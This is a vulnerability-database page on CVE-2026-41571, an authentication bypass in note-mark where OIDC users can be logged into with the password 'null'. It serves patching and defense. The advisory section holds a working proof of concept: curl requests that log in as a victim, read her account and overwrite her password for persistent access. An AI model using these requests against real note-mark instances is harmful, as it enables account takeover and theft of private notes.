Skip to main content

note-mark EUVDEUVD-2026-27051

| CVE-2026-41571 CRITICAL
Improper Authentication (CWE-287)
2026-04-25 https://github.com/enchant97/note-mark GHSA-pxf8-6wqm-r6hh
9.4
CVSS 3.1 · Vendor: https://github.com/enchant97/note-mark
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Enumerate usernames via /api/users/search
  2. Delivery
    Submit password:'null' to /api/auth/token
  3. Exploit
    Receive valid Auth-Session-Token for OIDC user
  4. Execution
    Access victim notebooks via /api/notebooks
  5. Persist
    Overwrite victim password via /api/users/me/password
  6. Impact
    Establish persistent backdoor credential

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Default note-mark configuration with OIDC provider configured and OIDC__ENABLE_USER_CREATION=true. Specifically requires: (1) ENABLE_INTERNAL_LOGIN=true (ships as default), enabling POST /api/auth/token endpoint; (2) at least one user account created via OIDC flow (TryCreateNewOidcUser in backend/services/auth.go), resulting in Password=[]byte('') in database; (3) ENABLE_ANONYMOUS_USER_SEARCH=true (default) allows unauthenticated username enumeration via GET /api/users/search, though attackers can also guess common usernames or obtain them via social engineering. No user interaction, authentication, or non-default deployment required for exploitation-the vulnerable code path exists in default Docker image configuration. LIMITING FACTORS: Deployments with ENABLE_INTERNAL_LOGIN=false disable the vulnerable endpoint entirely. Deployments using only internal authentication (no OIDC) create users with bcrypt-hashed passwords, making Password field non-empty and bypassing the nullPasswordHash substitution. Network access to the /api/* endpoints is required (AV:N), but no firewall exceptions beyond normal application access.

Impact

Real-world risk is CRITICAL for deployments meeting three default conditions: EnableInternalLogin=true (default), OIDC provider configured, and OIDC__ENABLE_USER_CREATION=true (operator-set). CVSS 9.4 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L) accurately reflects the attack surface: network-reachable, low complexity, no privileges or user interaction required, with high confidentiality and integrity impact. The Low availability rating understates real impact-attackers can lock legitimate users out by overwriting passwords (Step 6 in POC). No EPSS score or KEV listing available, but risk is elevated by: (1) functioning POC script (poc_014_null_password_bypass.sh) included in the advisory, reducing exploit development cost to zero; (2) default-vulnerable configuration in Docker images on ghcr.io; (3) EnableAnonymousUserSearch=true default exposes username enumeration without authentication. SSVC decision: Exploitation=POC (public code exists), Automatable=Yes (API-driven, no human interaction), Technical Impact=Total (full account control). The combination of defaults-vulnerable deployment, public exploit code, and total account takeover makes this an immediate patching priority despite absence from CISA KEV. Organizations not using OIDC or running EnableInternalLogin=false are unaffected.

Exploit ScenarioDerived

Attacker Bob discovers a note-mark instance at company.example.com running default configuration. He retrieves /api/info (unauthenticated) confirming allowInternalLogin:true and oidcProvider:'okta'. He queries /api/users/search (also unauthenticated due to enableAnonymousUserSearch:true) and identifies Alice's username. Bob submits POST /api/auth/token with {username:'alice', password:'null'} and receives a valid Auth-Session-Token cookie. He uses the session to access /api/users/me (Alice's profile), /api/notebooks (her private work notes), and /api/assets (uploaded diagrams). Bob then calls PUT /api/users/me/password with existingPassword:'null' and newPassword:'bob-backdoor-2026', permanently locking Alice out of internal login while Bob retains persistent access alongside Alice's still-functional OIDC flow. Total time: under 60 seconds with curl commands. Public POC script (poc_014_null_password_bypass.sh) automates the entire chain.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 26, 2026

Remote authentication bypass in note-mark backend allows unauthenticated attackers to hijack OIDC user accounts by submitting the password 'null' to the internal login endpoint. Affected deployments running default configuration (EnableInternalLogin=true) with OIDC enabled permit complete account takeover of any OIDC-registered user. Attackers gain full access to private notebooks, markdown content, and uploaded assets, plus can persist access by overwriting the victim's password. Vendor patch available in commit dea5530c. CVSS 9.4 (AV:N/AC:L/PR:N/UI:N) reflects the zero-interaction remote attack against default installations. No EPSS or KEV data available, but the detailed POC script in the advisory significantly lowers exploitation barrier.

RemediationAI

Apply vendor patch commit dea5530cc9891187b51548ef9f2868b7dc9f4e92 from https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92. The fix adds explicit rejection of login attempts for users with empty stored passwords in both GetAccessToken (backend/services/auth.go) and UpdateUserPassword (backend/services/users.go) before bcrypt comparison. Operators should upgrade to the patched version immediately. WORKAROUND for deployments unable to patch immediately: disable internal login by setting ENABLE_INTERNAL_LOGIN=false in environment configuration, forcing all authentication through OIDC flow. This eliminates the vulnerable code path entirely. Trade-off: administrators and non-OIDC users lose login capability until patch deployment. Alternative workaround: disable OIDC user auto-creation (OIDC__ENABLE_USER_CREATION=false) and manually provision accounts with strong passwords, though this defeats SSO convenience and does not protect existing OIDC users. Post-patch validation: audit existing OIDC user accounts for Password column length=0 and verify no unauthorized password-change events in application logs between initial OIDC registration and patch deployment.

Affected VersionsENISA

note-mark = 0.19.2

Affected Packages

go github.com/enchant97/note-mark/backend fix: 0.0.0-20260417132909-dea5530cc989
euvd note_mark no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from a flawed timing-attack mitigation in the bcrypt password comparison logic (CWE-287: Improper Authentication). The note-mark backend (pkg:go/github.com_enchant97_note-mark_backend) uses a constant placeholder hash bcrypt('null') when validating passwords for users with empty stored passwords. OIDC authentication flows in the Go/GORM codebase create user records with Password=[]byte('') to indicate SSO-only accounts. The IsPasswordMatch function in backend/db/models.go substitutes nullPasswordHash for timing-attack resistance, but because the placeholder is generated from the literal string 'null' at compile time, any attacker who submits 'null' as the plaintext password satisfies bcrypt.CompareHashAndPassword. This design conflates constant-time comparison (anti-timing-attack measure) with authentication logic, creating a hard-coded credential accepted by all OIDC users. The flaw exists in both the login flow (POST /api/auth/token) and password-change flow (PUT /api/users/me/password), enabling initial takeover and persistence respectively.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/enchant97/note-mark) PRIMARY 9.4 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
SUSE CRITICAL

Primary rating from Vendor (https://github.com/enchant97/note-mark).

CVSS VectorVendor: https://github.com/enchant97/note-mark

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Lifecycle Timeline

2
Patch released
Apr 25, 2026 - 23:45 nvd
Patch available
CVE Published
Apr 25, 2026 - 23:40 nvd
CRITICAL 9.4

DescriptionCVE.org

Summary

IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:

go
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)

IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:

go
func (u *User) IsPasswordMatch(plainPassword string) bool {
    var current []byte
    if len(u.Password) == 0 {
        // prevent CWE-208
        current = nullPasswordHash
    } else {
        current = u.Password
    }
    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
        return true
    }
    return false
}

OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:

go
return db.DB.Transaction(func(tx *gorm.DB) error {
    user := db.User{
        Username: username,
        Password: []byte(""),
    }
    // ...
})

The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.

EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.

Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.

bash
docker run -d --name note-mark-poc \
  -e OIDC__PROVIDER_NAME=example \
  -e OIDC__CLIENT_ID=note-mark \
  -e OIDC__CLIENT_SECRET=secret \
  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \
  -e OIDC__ENABLE_USER_CREATION=true \
  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").

Step 3: Bob confirms the preconditions.

bash
curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}

Step 4: Bob logs in as Alice via the internal endpoint.

bash
curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'

Response:

HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict

Step 5: Bob uses the cookie to read Alice's account.

bash
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}

Step 6: Bob persists access by writing his own password onto Alice's row.

bash
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No Content

Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.

A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.

Impact

Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.

The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.

Recommended Fix

The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in GetAccessToken:

go
// backend/services/auth.go:28
var user db.User
if err := db.DB.
    First(&user, "username = ?", username).
    Select("id", "password").Error; err != nil {
    user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation
    return core.AccessToken{}, InvalidCredentialsError
}

if len(user.Password) == 0 {
    return core.AccessToken{}, InvalidCredentialsError
}

if !user.IsPasswordMatch(password) {
    return core.AccessToken{}, InvalidCredentialsError
}

The equivalent change belongs in UpdateUserPassword at backend/services/users.go:53-61, since the same routine verifies existingPassword during the persistence step.

Replacing nullPasswordHash with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:

go
// backend/db/models.go:36
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)

The explicit empty-password check is preferable because the intent is readable in the source.

--- *Found by aisafe.io*

Executive ViewAI

Why It Matters

CVE-2026-41571 is a critical remote authentication bypass in note-mark backend that allows unauthenticated attackers to hijack OIDC user accounts and gain full access to private notebooks and user data on default installations. Any organization running note-mark with OIDC enabled and default configuration (EnableInternalLogin=true) faces immediate risk of account takeover and data exfiltration without any user interaction required. This vulnerability requires urgent patching to prevent credential compromise and unauthorized access to sensitive organizational content.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Interim mitigation if patch deployment delayed: (1) disable EnableInternalLogin setting to block internal authentication pathway, (2) implement network-level access controls to restrict the internal login endpoint to trusted sources only, (3) enable and monitor authentication logs for failed/unusual login attempts.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy